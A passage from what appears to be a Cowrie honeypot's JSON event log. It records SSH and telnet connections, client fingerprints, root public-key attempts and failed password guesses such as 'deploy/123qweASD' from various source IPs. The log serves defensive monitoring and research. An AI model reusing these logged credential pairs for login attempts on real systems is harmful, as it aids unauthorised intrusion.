{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:50.374810Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:fc:53:57:88:61:02:f8:28:9b:b7:ad:a1:a8:f4:75","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEhQ2oOCXhw8aBOj1+wizXI+jzMTkYmTaGcHc6mF2YXx","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:fc:53:57:88:61:02:f8:28:9b:b7:ad:a1:a8:f4:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:50.896976Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:fc:53:57:88:61:02:f8:28:9b:b7:ad:a1:a8:f4:75","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEhQ2oOCXhw8aBOj1+wizXI+jzMTkYmTaGcHc6mF2YXx","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:50.900387Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:33:88:b8:b1:12:24:2d:ff:03:5d:8c:1c:70:98:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWdtcR6vdUjDpKo8IciLwhcuCfq5hm4ov/PDNnd0iHDyx40vgcxLXMCgQCi3hykCgHKu8jjoLbcI4D+WQEjsLVf2BnnyVR6Evyvo7AimVd7vCQ3I9Q8ced3pA9vGQoTGgBTqXvAO+FOCtjk63evDSlj4giAGYXjRSXdBsUHVdvdX3UJMjipY5lDIb7KmtnqY0DsXZHWxPW2qaPbbII9V+MPIp2lFrDoRPr3v8BZcNs8KWKx7jsTcasWyAoykUGVtCOpow1VAWwGt1z9gCZHfa1pijYvOCKveY2J5nDQV+Ww3hgGtyZH1Z/AI6bgyESCcDLBGdWjc7Ek5kP0/p67YNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:33:88:b8:b1:12:24:2d:ff:03:5d:8c:1c:70:98:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.009665Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:33:88:b8:b1:12:24:2d:ff:03:5d:8c:1c:70:98:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWdtcR6vdUjDpKo8IciLwhcuCfq5hm4ov/PDNnd0iHDyx40vgcxLXMCgQCi3hykCgHKu8jjoLbcI4D+WQEjsLVf2BnnyVR6Evyvo7AimVd7vCQ3I9Q8ced3pA9vGQoTGgBTqXvAO+FOCtjk63evDSlj4giAGYXjRSXdBsUHVdvdX3UJMjipY5lDIb7KmtnqY0DsXZHWxPW2qaPbbII9V+MPIp2lFrDoRPr3v8BZcNs8KWKx7jsTcasWyAoykUGVtCOpow1VAWwGt1z9gCZHfa1pijYvOCKveY2J5nDQV+Ww3hgGtyZH1Z/AI6bgyESCcDLBGdWjc7Ek5kP0/p67YNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.012733Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:38:88:b7:ab:29:13:26:90:17:06:d6:b2:d3:dc:15","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALYTgv3CA3XESG7PJrbH1tvZF/pABj+AMG7RE4YXOf3kP4MBeqnhUvKrcgJnw+fMMKek1OkulPYWFgx15IsQFk0S7WpdOiZxWFDVfzx9qllXdv9adJwigtwGUt0lTXSqVL8yEc3zMZ1f3yg53msILUQLF0fzfpKMZh62+5Q5cYqHAAAAFQD/qVz0WjihRGSSynDC7Qzg5hR1FwAAAIATlYtdczf7ZVNXb/GgQ2WNsN40P2vvH5uIjEziWLDSJpbj91Qyd/yMbnVx0BJJyiw/oZMCz6qSXEL1acqgCSSpSdBV6jqGq+PXpresuqB9KWrpzYDlJpphcGnx+nf2vfLLCJKQfgaBdz9UvezhBt2JruX5HihSOrUUf+doUWhrpAAAAIAuA8ER1N8v89GBVrzxYl/mezKoubrVa++tEnSMhknN23ukflK0M57XEdiluaxGBdmQz0ot4KmgoCifvOqJ+m60NXdmPfN66fbsi+CStEnPPTztIbFgZiKO7Q3k70amlzqllA/xkPq3NpiOYAAVTC8CjYUsxHSgfzhNbUhbMDdNLA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2b:38:88:b7:ab:29:13:26:90:17:06:d6:b2:d3:dc:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.121575Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:38:88:b7:ab:29:13:26:90:17:06:d6:b2:d3:dc:15","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALYTgv3CA3XESG7PJrbH1tvZF/pABj+AMG7RE4YXOf3kP4MBeqnhUvKrcgJnw+fMMKek1OkulPYWFgx15IsQFk0S7WpdOiZxWFDVfzx9qllXdv9adJwigtwGUt0lTXSqVL8yEc3zMZ1f3yg53msILUQLF0fzfpKMZh62+5Q5cYqHAAAAFQD/qVz0WjihRGSSynDC7Qzg5hR1FwAAAIATlYtdczf7ZVNXb/GgQ2WNsN40P2vvH5uIjEziWLDSJpbj91Qyd/yMbnVx0BJJyiw/oZMCz6qSXEL1acqgCSSpSdBV6jqGq+PXpresuqB9KWrpzYDlJpphcGnx+nf2vfLLCJKQfgaBdz9UvezhBt2JruX5HihSOrUUf+doUWhrpAAAAIAuA8ER1N8v89GBVrzxYl/mezKoubrVa++tEnSMhknN23ukflK0M57XEdiluaxGBdmQz0ot4KmgoCifvOqJ+m60NXdmPfN66fbsi+CStEnPPTztIbFgZiKO7Q3k70amlzqllA/xkPq3NpiOYAAVTC8CjYUsxHSgfzhNbUhbMDdNLA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.124263Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:a4:05:c8:6e:de:83:a0:45:46:83:20:7d:47:f3:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzSY76BOC8l/DRFlPoKO/zdiVZVuOnjmo8tGf5V5Bt8wKRaSGDofU15Wp5PL71OgEBAa/ZkyJmNn5hGpsS3xeEAb+er7c8fD+4/JpoReuOYZMLx8Ohi7ItGAsxE+l0kME+m10hH2dYHK1ckUaCIV4MoqEuZMFLdTioIhawldXjdS3zKmJLGLR+aVd/Aw44ZjqVkWKqvc7gBGsP5wMOc9Q5IzQti+pGfUlKe3rCQIExt0qDUny8VYCur/cF8nGTwPzYFr5EaP4WpFfb8fhQsYL4MW8Op8HTIYyk5Eym+bkcRw+gX4JoLTzuJAzWOGW/l7CGFqD9vgz/m1g4ir/vaWwDmjdVvKnVs/GRFORsRUwr7/e1AWw/g6kfU2EoXbBv3aiGupBmP4Jvd2IPTp8VvAPT0NYm2l34ZdMAmj28MHW5C7Gumx9BMl/+2ALPFr7lsoea+C05cTvLNH0dEANq2G2XaQaT/7c2uDS0cU2jvp6BbBjlYKDBdcobPjzcf+B5TPE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:a4:05:c8:6e:de:83:a0:45:46:83:20:7d:47:f3:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.232235Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:a4:05:c8:6e:de:83:a0:45:46:83:20:7d:47:f3:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzSY76BOC8l/DRFlPoKO/zdiVZVuOnjmo8tGf5V5Bt8wKRaSGDofU15Wp5PL71OgEBAa/ZkyJmNn5hGpsS3xeEAb+er7c8fD+4/JpoReuOYZMLx8Ohi7ItGAsxE+l0kME+m10hH2dYHK1ckUaCIV4MoqEuZMFLdTioIhawldXjdS3zKmJLGLR+aVd/Aw44ZjqVkWKqvc7gBGsP5wMOc9Q5IzQti+pGfUlKe3rCQIExt0qDUny8VYCur/cF8nGTwPzYFr5EaP4WpFfb8fhQsYL4MW8Op8HTIYyk5Eym+bkcRw+gX4JoLTzuJAzWOGW/l7CGFqD9vgz/m1g4ir/vaWwDmjdVvKnVs/GRFORsRUwr7/e1AWw/g6kfU2EoXbBv3aiGupBmP4Jvd2IPTp8VvAPT0NYm2l34ZdMAmj28MHW5C7Gumx9BMl/+2ALPFr7lsoea+C05cTvLNH0dEANq2G2XaQaT/7c2uDS0cU2jvp6BbBjlYKDBdcobPjzcf+B5TPE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.235886Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:48:6f:fc:ab:be:c7:52:85:0b:65:31:6b:27:51:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgK6/iST3b6Mm5Knx4dRR5j6l1oiRJnb9AcpCfpXdlJTta/2MMDbzYPhlwSs3uYFUbXm2cgTpRT96HjYKz9S2UtESo5ysav7FnCcB/7kQllq5B9O7xs/7+FaxJIB0uTN7r5SLL/Q7R98Ja3zmL+uYYe9rrbZ3zbOBtgY3UKq8Z37uRuMjiP8JzvuOjqFqqqo7ELuRkIL93b8KBey4SrPNdppmMtojgdoH1bwX33EaUxQXV4mY55xMevpNLo70qMZwYFPYC1HZFxoU6x5xKBPKZdFM6auo/86nFnKq98lWa5icBWBDWLZwYqYiKa+mBIIgdfdtgqyE8XNThzAwvcCC7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:48:6f:fc:ab:be:c7:52:85:0b:65:31:6b:27:51:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.348933Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:48:6f:fc:ab:be:c7:52:85:0b:65:31:6b:27:51:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgK6/iST3b6Mm5Knx4dRR5j6l1oiRJnb9AcpCfpXdlJTta/2MMDbzYPhlwSs3uYFUbXm2cgTpRT96HjYKz9S2UtESo5ysav7FnCcB/7kQllq5B9O7xs/7+FaxJIB0uTN7r5SLL/Q7R98Ja3zmL+uYYe9rrbZ3zbOBtgY3UKq8Z37uRuMjiP8JzvuOjqFqqqo7ELuRkIL93b8KBey4SrPNdppmMtojgdoH1bwX33EaUxQXV4mY55xMevpNLo70qMZwYFPYC1HZFxoU6x5xKBPKZdFM6auo/86nFnKq98lWa5icBWBDWLZwYqYiKa+mBIIgdfdtgqyE8XNThzAwvcCC7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.352184Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:51.461645Z","src_ip":"185.222.138.254","session":"5dee9e6c51d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.01238417625427,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:57.032088Z","src_ip":"45.63.78.87","session":"388c3f6b77c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375739574432373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:16:57.281316Z","src_ip":"45.63.78.87","session":"baf7b3a50ff5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":40248,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c265e0aaa45","protocol":"telnet","message":"New connection: 45.63.78.87:40248 (10.17.0.5:23) [session: 0c265e0aaa45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:02.897384Z"}
{"eventid":"cowrie.session.closed","duration":31.778717041015625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:09.837844Z","src_ip":"45.63.78.87","session":"8f95a5acda01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":41382,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d9870b9918a","protocol":"ssh","message":"New connection: 36.93.249.106:41382 (159.203.135.109:22) [session: 6d9870b9918a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:25.836480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:25.842727Z","src_ip":"36.93.249.106","session":"6d9870b9918a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:26.114128Z","src_ip":"36.93.249.106","session":"6d9870b9918a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"test","message":"login attempt [master/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:27.226966Z","src_ip":"36.93.249.106","session":"6d9870b9918a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:28.501021Z","src_ip":"36.93.249.106","session":"6d9870b9918a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:29.750022Z","src_ip":"120.48.135.189","session":"38e79901dd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.512932062149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:33.410163Z","src_ip":"45.63.78.87","session":"0c265e0aaa45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":49430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bcf32d0a363","protocol":"telnet","message":"New connection: 45.63.78.87:49430 (10.17.0.5:23) [session: 2bcf32d0a363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:35.701403Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":39375,"dst_ip":"159.203.135.109","dst_port":22,"session":"b763937a192c","protocol":"ssh","message":"New connection: 185.9.193.111:39375 (159.203.135.109:22) [session: b763937a192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:42.573639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:42.578405Z","src_ip":"185.9.193.111","session":"b763937a192c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:43.155132Z","src_ip":"185.9.193.111","session":"b763937a192c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test12","message":"login attempt [ubuntu/test12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:44.723319Z","src_ip":"185.9.193.111","session":"b763937a192c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":49110,"dst_ip":"10.17.0.5","dst_port":22,"session":"ade862cd7c6b","protocol":"ssh","message":"New connection: 187.212.47.18:49110 (10.17.0.5:22) [session: ade862cd7c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:45.164208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:45.169388Z","src_ip":"187.212.47.18","session":"ade862cd7c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:45.391462Z","src_ip":"187.212.47.18","session":"ade862cd7c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123qweASD","message":"login attempt [deploy/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:45.735509Z","src_ip":"187.212.47.18","session":"ade862cd7c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:46.259316Z","src_ip":"185.9.193.111","session":"b763937a192c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:46.814700Z","src_ip":"187.212.47.18","session":"ade862cd7c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.146.37","src_port":35648,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8dbe6c0890b","protocol":"ssh","message":"New connection: 107.173.146.37:35648 (10.17.0.5:22) [session: f8dbe6c0890b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:51.722928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:17:51.728316Z","src_ip":"107.173.146.37","session":"f8dbe6c0890b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,h